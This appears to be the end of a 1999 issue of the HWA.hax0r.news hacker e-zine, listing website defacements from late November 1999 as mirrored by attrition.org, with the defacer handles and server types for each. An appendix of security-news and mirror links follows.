1.1.1) Defaced domain: sparc.lps.org Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/sparc.lps.org Defaced by: bansh33 Operating System: Solaris 2.6 - 2.7 (Netscape-Enterprise/2.01) Defaced domain: www.intelsat.int Site Title: Intelsat Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.intelsat.int Defaced by: fuqrag Operating System: Windows NT (IIS/4.0) Defaced domain: excaliber.barnhard.net Site Title: Barnhard Associates Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/excaliber.barnhard.net Defaced by: darkness Operating System: Li Defaced domain: www.gameis.org Site Title: Georgia Association of Managers of Educational Information Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.gameis.org Defaced by: p4riah Operating System: Windows NT (IIS/4.0) Defaced domain: www.wiltonwired.com Site Title: Wilton Wired Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.wiltonwired.com Defaced by: sSh Operating System: Solaris Defaced domain: www.djakovo.net Site Title: Z & M Studio Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.djakovo.net Defaced by: Analognet Operating System: Digital Unix Defaced domain: zeus.mentorfoundation.org Site Title: The Mentor Foundation Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/zeus.mentorfoundation. Defaced by: darkness Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: www.1stnatbank.com Site Title: First National Bank of Homestead Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.1stnatbank.com Defaced by: dukj Operating System: Windows NT (IIS/4.0) Defaced domain: www.fcsi.fujitsu.com Site Title: Fujitsu Compound Semiconductor, Inc. Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.fcsi.fujitsu.com Defaced by: dukj Operating System: Windows NT Defaced domain: commerce.state.ut.us Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/commerce.state.ut.us Defaced by: ieet Operating System: NT Defaced domain: m0.icondev.com Site Title: Icon Developments Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/m0.icondev.com Defaced by: Darkness Operating System: Linux (Apache 1.3.4) Defaced domain: www.electronitel.ch Site Title: Electronitel Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.electronitel.ch Defaced by: darkness Operating System: Linux Defaced domain: linu.wulfredecorp.com Site Title: Wulfrede Consulting Corporation Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/linu.wulfredecorp.com Defaced by: darkness Operating System: Linux Defaced domain: www.cassette-recordings.org Site Title: Cassette Recordings Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.cassette-recordings.org Defaced by: inKK Operating System: Solaris 2.6 - 2.7 (Apache 1.3.6) Defaced domain: www.worldzoo.org Site Title: International Species Information System Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.worldzoo.org Defaced by: ULG Operating System: NT HIDDEN comments in the HTML. * We have been informed from fairly reliable sources that the earlier hack of 'www.worldzoo.org' was NOT done by ULG. We will try to find out what happened and post to the mirror accordingly. Defaced domain: www.isolnet.com Site Title: Internet Solutions Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.isolnet.com Operating System: Windows NT (IIS/4.0) Defaced domain: www.naewfc.nato.int Site Title: NATO Mirror: http://www.attrition.org/mirror/attrition/1999/11/22/www.naewfc.nato.int Defaced by: ytcracker Operating System: Windows NT (IIS/4.0) Defaced domain: tswww.tc.blm.gov Site Title: Bureau of Land Management National Training Center Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/tswww.tc.blm.gov Defaced by: ytcracker Operating System: Windows NT Defaced domain: www.acus.org Site Title: Atlantic Council of the United States Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.acus.org Defaced by: fuqrag Operating System: Windows NT Defaced domain: www.ccf.nl Site Title: CCF Library of Art Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ccf.nl Defaced by: ieet Operating System: Windows NT Defaced domain: www.dtssoftware.com Site Title: DTS Software Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.dtssoftware.com Defaced by: ieet Operating System: Windows NT Defaced domain: usasucks.com Site Title: USA Sucks Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/usasucks.com Defaced by: cheezhead Operating System: FreeBSD (running the Stronghold Apache server) Defaced domain: www.teamrmsi.com Site Title: Removable Media Solutions Inc Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.teamrmsi.com Defaced by: ieet Operating System: Windows NT (IIS/4.0) Defaced domain: www.louisa.net Site Title: Thayer Enterprises Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.louisa.net Defaced by: ieet Operating System: Windows NT Defaced domain: www.adusp.org.br Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.adusp.org.br Defaced by: ieet Operating System: Windows NT (IIS/4.0) Defaced domain: www.ionstorm.com Site Title: Ion Storm Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ionstorm.com Defaced by: fuqrag Operating System: Windows NT Defaced domain: www.advdatacom.net Site Title: Advanced Data Designs Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.advdatacom.net Defaced by: phiber Operating System: Windows NT Defaced domain: www.lottoteam.com Site Title: Lottoteam Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.lottoteam.com Defaced by: bansh33 Operating System: Windows NT Defaced domain: www.saehwa.net Site Title: Saehwa Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.saehwa.net Defaced by: knell Operating System: Linux Defaced domain: www.fintrac.com Site Title: Fintrac Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.fintrac.com Defaced by: ieet Operating System: Windows 95 Defaced domain: www.autorecalls.com Site Title: Auto Recalls Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.autorecalls.com Defaced by: ieet Operating System: Windows NT Defaced domain: www.worldmegastore.com Site Title: World Mega Store Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.worldmegastore.com Defaced by: darkness FREE KEVIN reference in the HTML Defaced domain: www.cnv.gov.ar Site Title: Comisión Nacional de Valores Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.cnv.gov.ar Defaced by: inferno.br Operating System: Windows NT Defaced domain: www.sdkorea.com Site Title: seowoongjeongbo Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.sdkorea.com Defaced by: knell Operating System: Linux (Apache 1.3.4) Defaced domain: mail.itbank.net Site Title: ITBank Co.,Ltd Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/mail.itbank.net Defaced by: knell Operating System: Linux Defaced domain: stat-gw.irtel.ru Site Title: Irtel Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/stat-gw.irtel.ru Defaced by: darkness Operating System: Linux Defaced domain: www.justedit.com Site Title: Canopus Corporation Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.justedit.com Defaced by: fuqrag Operating System: Windows NT Defaced domain: canadacouncil.ca Site Title: Canada Council Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/canadacouncil.ca Defaced by: phiber Defaced domain: international.gsfc.nasa.gov Site Title: International Program Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/international.gsfc.nasa.gov Defaced by: ytcracker Operating System: Windows NT Defaced domain: web-hilfe.ch Site Title: Web Hilfe Switzerland Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/web-hilfe.ch Defaced by: knell Operating System: Linux HIDDEN comments in the HTML. Defaced domain: www.goddessjeanna.com Site Title: Life Style International Research Services Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.goddessjeanna.com Defaced by: Analognet Operating System: Windows NT (IIS/4.0) Defaced domain: orion.lib.mi.us Site Title: Orion Library Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/orion.lib.mi.us Defaced by: ieet Operating System: Windows NT Defaced domain: www.solchip.com Site Title: SolChip Technology Corp Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.solchip.com Defaced by: sSh Operating System: Linux (Apache 1.3.6) Defaced domain: www.superstition.com Site Title: Superstition Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.superstition.com Defaced by: sSh Operating System: Windows NT (IIS/4.0) Defaced domain: outlook.dcaa.mil Site Title: Defense Contract Audit Agency Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/outlook.dcaa.mil Defaced by: ytcracker Operating System: Windows NT Defaced domain: www.ppplastic.com Site Title: Plastic Pallette Production Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.ppplastic.com Defaced by: bansh33 Operating System: Windows NT (IIS/4.0) Defaced domain: www.city2people.com Site Title: Gaeinyong Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.city2people.com Defaced by: knell Operating System: Linux (Apache 1.3.6) Defaced domain: www.chinamor.cn.net Site Title: DATA Communication Bureau Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.chinamor.cn.net Defaced by: kryptek Operating System: Solaris 2.5x (Netscape-Enterprise/2.01) Defaced domain: www.pbs.com Site Title: Publishing Business Systems Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.pbs.com Defaced by: md5 Attrition comment: n Defaced domain: www.lynnbbw.com Site Title: Stuart Collins Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.lynnbbw.com Defaced by: Analognet Operating System: Windows NT (IIS/4.0) Defaced domain: penguin.emaponline.com Site Title: EMAP Online Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/penguin.emaponline.com Defaced by: sSh Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: www.hempcat.com Site Title: Future Fibre, Inc Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.hempcat.com Defaced by: fuqrag Operating System: Windows NT Attrition comment: n Defaced domain: www.coe.fr Site Title: Council of Europe Convention Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.coe.fr Defaced by: fuqrag Operating System: Windows NT Defaced domain: www.moon-star.co.kr Site Title: Moons Consulting Co. Mirror: http://www.attrition.org/mirror/attrition/1999/11/23/www.moon-star.co.kr Defaced by: knell Operating System: Linux Defaced domain: alfredadler.edu Site Title: Alfred Adler Institute Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/alfredadler.edu Defaced by: Verb0 Operating System: Windows NT Attrition comment: n Defaced domain: alfredtech.edu Site Title: Alfred State College Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/alfredtech.edu Defaced by: Verb0 Operating System: Windows NT Attrition comment: n Defaced domain: ntc.blm.gov Site Title: National Training Center, Bureau of Land Management Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/ntc.blm.gov Defaced by: p4riah Operating System: Windows NT Attrition comment: n Defaced domain: msundns.msun.edu Site Title: Montana State University Northern Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/msundns.msun.edu Defaced by: darkness Operating System: Linux Attrition comment: n Defaced domain: www.govideonow.com Site Title: Go Videos Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.govideonow.com Defaced by: mistuh clean Operating System: Solaris Attrition comment: n Defaced domain: www.creg.org Site Title: Citizens for Responsible and Ethical Government Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.creg.org Defaced by: sp00ky kr3w Operating System: NT Defaced domain: www.tricowebs.com Site Title: Suwannee Valley Internet Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.tricowebs.com Defaced by: sp00ky kr3w Operating System: NT Defaced domain: www.dirtyindex.com Site Title: Sandra Kiepisch Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.dirtyindex.com Defaced by: Analognet Operating System: FreeBSD 2.2.1 - 3.0 (Apache 1.3.6) Attrition comment: n Previously Hacked Defaced domain: www.hwa.net Site Title: Hoefer WYSOCKI Architects Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.hwa.net Defaced by: c0de red Operating System: Windows NT (IIS/4.0) Attrition comment: 3rd Time Defaced Previously Hacked Defaced domain: www.gameis.org Site Title: Georgia Association of Managers of Educational Information Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.gameis.org Defaced by: c0de red Operating System: Windows NT (IIS/4.0) Attrition comment: 2nd Time Defaced Defaced domain: www.tsrinc.com Site Title: Wizards of the Coast, Inc. Mirror: http://www.attrition.org/mirror/attrition/1999/11/24/www.tsrinc.com Defaced by: Cipher Operating System: Windows NT Attrition comment: n Defaced domain: www.cyber-fantasy.net Site Title: cyberfantasy Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.cyber-fantasy.net Defaced by: verb0 Operating System: BSDI 3.0 (Apache 1.2.6) Defaced domain: www.itips.gov Site Title: US Department of Energy (ITIPS-DOM) Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.itips.gov Defaced by: Sarin Operating System: Windows NT (IIS/4.0) HIDDEN comments in the HTML. Defaced domain: www.kingston.com Site Title: Kingston Technology Corp Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.kingston.com Defaced by: fuqrag Operating System: Windows NT (IIS/4.0) Previously Hacked Defaced domain: www.hershey.com Site Title: Hershey Business Systems Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.hershey.com Defaced by: ieet Operating System: Windows NT (IIS/4.0) Attrition comment: Hacked on 99.11.17 also Defaced domain: www.usedtwoway.com Site Title: Sterling Associates Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.usedtwoway.com Defaced by: shortfuse Operating System: SunOS (Apache 1.2.4) Attrition comment: masshack w/: http://klinks.com/ Defaced domain: aristotle.cis.tamuk.edu Site Title: Texas A&M University - Kingsville Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/aristotle.cis.tamuk.edu Defaced by: verb0 Operating System: Windows NT (IIS/4.0) Attrition comment: 22nd claimed hack Defaced domain: www.apecsec.org.sg Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.apecsec.org.sg Defaced by: fuqrag Operating System: Windows NT (IIS/4.0) Defaced domain: www.bellscatering.com Site Title: Bells Restraurant Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.bellscatering.com Defaced by: sp00ky Operating System: Windows NT (IIS/4.0) Attrition comment: mass hack Defaced domain: www.medishopping.com Site Title: chunsuk hyun Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.medishopping.com Defaced by: knell Operating System: Red Hat Linux (Apache 1.2.6) Defaced domain: www.comunycarse.com Site Title: Comunycarse Network Consultants Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.comunycarse.com Defaced by: w0lf Operating System: Irix Attrition comment: n Defaced domain: www.mefa.uni-jena.de Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.mefa.uni-jena.de Defaced by: DHC Operating System: Solaris 2.5x (Netscape-Enterprise/2.0d) Previously Hacked Defaced domain: rocket-science.marlboro.edu Site Title: Marlboro College Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/rocket-science.marlboro.edu Defaced by: Tranzer Operating System: Windows NT (IIS/4.0) Attrition comment: Previously defaced on 99.07.30 by FL3M Previously Hacked Defaced domain: www.itcampeche.edu.mx Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.itcampeche.edu.mx Defaced by: kryptek Operating System: Solaris 2.5.x (NCSA/1.5) Attrition comment: Previously Defaced on 99.11.01 by TREATY Defaced domain: dmirror.destia.com Site Title: Destia Communications Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/dmirror.destia.com Defaced by: darkness [sSh] Operating System: Linux (Apache 1.3.4) Defaced domain: www.dep.ensino.eb.br Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.dep.ensino.eb.br Defaced by: JLM Operating System: Windows NT (IIS/4.0) Previously Hacked Defaced domain: www.firephotos.com Site Title: Fire Photos Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.firephotos.com Defaced by: p4riah Operating System: Windows NT (IIS/4.0) Attrition comment: Previously defaced on 99.10.26, 99.10.29, and 99.11.22 Defaced domain: www.andyanarchist.com Site Title: MICHAEL PHONIC Mirror: http://www.attrition.org/mirror/attrition/1999/11/25/www.andyanarchist.com Defaced by: Lucid Operating System: Solaris 2.6 - 2.7 (Apache 1.3.6) Defaced domain: www.data.volvo.be Site Title: Volvo Information Technology Belgium Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.data.volvo.be Defaced by: dukj Operating System: NT Defaced domain: www.smeg.co.nz Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.smeg.co.nz Defaced by: dukj Operating System: Windows NT (IIS/4.0) Defaced domain: www.guinessrecords.com Site Title: Corrected Book of Records Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.guinessrecords.com Operating System: FreeBSD 2.2.1 - 3.0 Attrition comment: VERY interesting defacement this time. Targeted, good message, etc. FREE KEVIN reference in the HTML Late Note: Chalk it up to yet another case of insomnia and sleep dep, but the previous 'Guiness' hack was somewhat of a hoax: Registrant: The Corrected Book of Records (GUINESSRECORDS2-DOM) PO Box 752 Middle Island, NY 11953 US Domain Name: GUINESSRECORDS.COM Administrative Contact, Technical Contact, Zone Contact: Goldstein, Emmanuel (EG1) emmanuel@2600.COM (516) 751-2600 (FAX) (516) 474-2677 Billing Contact: Goldstein, Emmanuel (EG1) emmanuel@2600.COM (516) 751-2600 (FAX) (516) 474-2677 This appears to be part of 2600's crusade for the Free Kevin movement, NOT the real Guiness site. Sorry for the false alarm. Defaced domain: mg-206253202-96.ricochet.net Site Title: Metricom, Inc Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/mg-206253202-96.ricochet.ne Defaced by: sSh Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: www.barat.edu Site Title: Barat College Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.barat.edu Defaced by: Verb0 Operating System: NT Defaced domain: misr.larcmo.ecs.nasa.gov Site Title: misr.larcmo.ecs.nasa.gov Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/misr.larcmo.ecs.nasa.gov Defaced by: darkness Operating System: Linux Defaced domain: aubg.edu Site Title: American University In Bulgaria Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/aubg.edu Defaced by: Verb0 Operating System: Windows NT Attrition comment: n Defaced domain: barat.edu Site Title: Barat College Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/barat.edu Defaced by: Verb0 Operating System: Windows NT Attrition comment: n Defaced domain: blackdog.larcmo.ecs.nasa.gov Site Title: NASA LARCMO Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/blackdog.larcmo.ecs.nasa.go Defaced by: darkness Operating System: Linux Attrition comment: n Defaced domain: www.jackpotentertainment.com Site Title: Jackpot Entertainment Magazine Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.jackpotentertainment.co Defaced by: mistuh clean Operating System: Solaris Attrition comment: n Defaced domain: www.dads.com Site Title: Dads.com Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.dads.com Defaced by: mistuh clean Operating System: Solaris Defaced domain: www.investigate.org Site Title: Bux - Mont Security Associates Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.investigate.org Defaced by: knell Operating System: BSDI Previously Hacked Defaced domain: www.monicalewinsky.com Site Title: Monica Lewinsky Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.monicalewinsky.com Defaced by: knell Operating System: BSDI Previously Hacked Defaced domain: www.jammin.com Site Title: Jammin Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.jammin.com Defaced by: mistuh clean Operating System: Solaris Defaced domain: latino-market.com Site Title: Latino Market Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/latino-market.com Defaced by: Tranzer Operating System: Windows NT Defaced domain: www.safestreets.net Site Title: Safe Streets Petition Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.safestreets.net Defaced by: mistuh clean Operating System: Solaris domain: www.flyryan.com Site Title: Ryan International Airlines Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.flyryan.com Defaced by: NitrOBurn Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: mail.olls.org Site Title: Our Lady of Lourdes Catholic School Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/mail.olls.org Defaced by: nitr0burn Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: wasp.covtest.org Site Title: Covenant Health System Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/wasp.covtest.org Defaced by: sSh Operating System: Red Hat Linux (Apache 1.3.6) Defaced domain: www.cordless.com Site Title: Cordless Computing Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.cordless.com Defaced by: I.R.C Operating System: Windows NT (IIS/4.0) Previously Hacked Defaced domain: www.korn.com Site Title: Korn E-Mail Service Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.korn.com Defaced by: Digital/h4p/Hi-Tech Hate/Fubuhacking Operating System: Solaris 2.6 - 2.7 (Apache 1.2.4) Attrition comment: Previously defaced on 99.08.06 by Global Hell Defaced domain: www.sesame-qualite.com Site Title: Sesame Mirror: http://www.attrition.org/mirror/attrition/1999/11/26/www.sesame-qualite.com Defaced by: dukj Operating System: Windows NT (IIS/4.0) Defaced domain: www.grcbc.org.au Site Title: GRCBC Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.grcbc.org.au Defaced by: ALOC Operating System: FreeBSD HIDDEN comments in the HTML. Defaced domain: www.nukleer.gov.tr Site Title: www.nukleer.gov.tr Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.nukleer.gov.tr Defaced by: oystr -n- klam Operating System: Linux Defaced domain: latino.org Site Title: Volny Translations Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/latino.org Defaced by: uNF Operating System: BSDI 4.0 (Apache 1.2.6) Defaced domain: www.health.gov.tr Site Title: www.health.gov.tr Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.health.gov.tr Defaced by: oystr -n- klam Operating System: Solaris Defaced domain: www.latino.org Site Title: Volny Translations Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.latino.org Defaced by: del burro Operating System: BSDI Previously Hacked Defaced domain: www.korn.com Site Title: Korn E-mail Service Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.korn.com Defaced by: hacking for ponies Operating System: Solaris 2.6 - 2.7 (Apache 1.2.4) Attrition comment: Previously defaced on 99.08.06 by Global Hell, 99.11.26 by Digital Defaced domain: www.realhiphop.com Site Title: Mahavishnu Inc Mirror: http://www.attrition.org/mirror/attrition/1999/11/27/www.realhiphop.com Defaced by: knell Operating System: BSDI 4.0 (Apache 1.2.6) Defaced domain: unix9.org Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/unix9.org Defaced by: Da Eternal Operating System: OpenBSD (Apache 1.3.4) Defaced domain: dagoon.com Site Title: Clarence Prior Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/dagoon.com Defaced by: Analognet Operating System: Solaris 2.6 - 2.7 (Apache 1.3.9) Defaced domain: www.paintweb.com Site Title: Luiz Fernando Faria De Carvalho Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.paintweb.com Defaced by: Death Knights Operating System: Linux (Apache 1.3.4) Defaced domain: prolapse.org Site Title: Heraclito Maia Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/prolapse.org Defaced by: Death Knights Operating System: Linux (Apache 1.3.4) Attrition comment: 1 of 100 domains defaced Defaced domain: www.troth.org.uk Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.troth.org.uk Operating System: Solaris 2.6 - 2.7 (Apache 1.3.4) Attrition comment: www.ipf.net.uk also defaced Defaced domain: www.wayne-local.k12.oh.us Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.wayne-local.k12.oh.us Defaced by: xhostile and acidklown Operating System: Windows NT (IIS/4.0) Defaced domain: www.mastercard.at Site Title: Mastercard Austria Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.mastercard.at Defaced by: Analognet Operating System: Windows NT Defaced domain: www.aba.gov.au Site Title: Australian Broadcasting Authority Mirror: http://www.attrition.org/mirror/attrition/1999/11/28/www.aba.gov.au Defaced by: Ned R. Operating System: Windows NT and more sites at the attrition cracked web sites mirror: http://www.attrition.org/mirror/attrition/index.html ------------------------------------------------------------------------- A.0 APPENDICES _________________________________________________________________________ A.1 PHACVW, sekurity, security, cyberwar links ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The links are no longer maintained in this file, there is now a links section on the http://welcome.to/HWA.hax0r.news/ url so check there for current links etc. The hack FAQ (The #hack/alt.2600 faq) http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html Hacker's Jargon File (The quote file) http://www.lysator.liu.se/hackdict/split2/main_index.html New Hacker's Jargon File. http://www.tuxedo.org/~esr/jargon/ HWA.hax0r.news Mirror Sites around the world: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://datatwirl.intranova.net ** NEW ** http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/ ** NEW ** http://net-security.org/hwahaxornews ** NEW ** http://www.sysbreakers.com/hwa ** NEW ** http://www.attrition.org/hosted/hwa/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.hackunlimited.com/files/secu/papers/hwa/ ** NEW ** http://www.ducktank.net/hwa/issues.html. ** NEW ** http://www.alldas.de/hwaidx1.htm ** NEW ** http://www.csoft.net/~hwa/ http://www.digitalgeeks.com/hwa.*DOWN* http://members.tripod.com/~hwa_2k http://welcome.to/HWA.hax0r.news/ http://www.attrition.org/~modify/texts/zines/HWA/ http://archives.projectgamma.com/zines/hwa/. http://www.403-security.org/Htmls/hwa.hax0r.news.htm http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ http://hwa.hax0r.news.8m.com/ http://www.fortunecity.com/skyscraper/feature/103/ International links:(TBC) ~~~~~~~~~~~~~~~~~~~~~~~~~ Foreign correspondants and others please send in news site links that have security news from foreign countries for inclusion in this list thanks... - Ed Belgium.......: http://securax.org/cum/ *New address* Brasil........: http://www.psynet.net/ka0z http://www.elementais.cjb.net Canada .......: http://www.hackcanada.com Croatia.......: http://security.monitor.hr Columbia......: http://www.cascabel.8m.com http://www.intrusos.cjb.net Finland ........http://hackunlimited.com/ Germany ........http://www.alldas.de/ http://www.security-news.com/ Indonesia.....: http://www.k-elektronik.org/index2.html http://members.xoom.com/neblonica/ http://hackerlink.or.id/ Netherlands...: http://security.pine.nl/ Russia........: http://www.tsu.ru/~eugene/ Singapore.....: http://www.icepoint.com South Africa ...http://www.hackers.co.za http://www.hack.co.za http://www.posthuman.za.net Turkey........: http://www.trscene.org - Turkish Scene is Turkey's first and best security related e-zine. .za (South Africa) sites contributed by wyzwun tnx guy... Got a link for this section? email it to hwa@press.usmc.net and i'll review it and post it here if it merits it. @HWA -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- © 1998, 1999 (c) Cruciphux/HWA.hax0r.news (R) { w00t } -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]